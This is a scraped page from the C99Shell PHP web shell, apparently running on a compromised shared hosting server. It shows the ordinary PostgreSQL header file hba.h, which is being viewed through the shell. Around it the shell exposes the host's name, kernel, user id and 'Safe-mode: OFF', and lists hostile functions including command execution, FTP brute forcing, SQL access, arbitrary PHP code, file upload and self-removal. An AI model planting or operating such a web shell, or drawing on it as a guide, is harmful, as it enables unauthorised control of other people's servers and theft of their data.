!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/td-agent/embedded/include/postgresql/server/libpq/   drwxrwxr-x
Free 201.8 GB of 981.82 GB (20.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     hba.h (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * hba.h
 *      Interface to hba.c
 *
 *
 * src/include/libpq/hba.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef HBA_H
#define HBA_H

#include "libpq/pqcomm.h"    /* pgrminclude ignore */    /* needed for NetBSD */
#include "nodes/pg_list.h"
#include "regex/regex.h"


typedef enum UserAuth
{
    uaReject,
    uaImplicitReject,
    uaTrust,
    uaIdent,
    uaPassword,
    uaMD5,
    uaGSS,
    uaSSPI,
    uaPAM,
    uaBSD,
    uaLDAP,
    uaCert,
    uaRADIUS,
    uaPeer
} UserAuth;

typedef enum IPCompareMethod
{
    ipCmpMask,
    ipCmpSameHost,
    ipCmpSameNet,
    ipCmpAll
} IPCompareMethod;

typedef enum ConnType
{
    ctLocal,
    ctHost,
    ctHostSSL,
    ctHostNoSSL
} ConnType;

typedef struct HbaLine
{
    int            linenumber;
    char       *rawline;
    ConnType    conntype;
    List       *databases;
    List       *roles;
    struct sockaddr_storage addr;
    struct sockaddr_storage mask;
    IPCompareMethod ip_cmp_method;
    char       *hostname;
    UserAuth    auth_method;

    char       *usermap;
    char       *pamservice;
    bool        pam_use_hostname;
    bool        ldaptls;
    char       *ldapserver;
    int            ldapport;
    char       *ldapbinddn;
    char       *ldapbindpasswd;
    char       *ldapsearchattribute;
    char       *ldapbasedn;
    int            ldapscope;
    char       *ldapprefix;
    char       *ldapsuffix;
    bool        clientcert;
    char       *krb_realm;
    bool        include_realm;
    bool        compat_realm;
    bool        upn_username;
    char       *radiusserver;
    char       *radiussecret;
    char       *radiusidentifier;
    int            radiusport;
} HbaLine;

typedef struct IdentLine
{
    int            linenumber;

    char       *usermap;
    char       *ident_user;
    char       *pg_role;
    regex_t        re;
} IdentLine;

/* kluge to avoid including libpq/libpq-be.h here */
typedef struct Port hbaPort;

extern bool load_hba(void);
extern bool load_ident(void);
extern void hba_getauthmethod(hbaPort *port);
extern int check_usermap(const char *usermap_name,
              const char *pg_role, const char *auth_user,
              bool case_sensitive);
extern bool pg_isblank(const char c);

#endif   /* HBA_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0596 ]--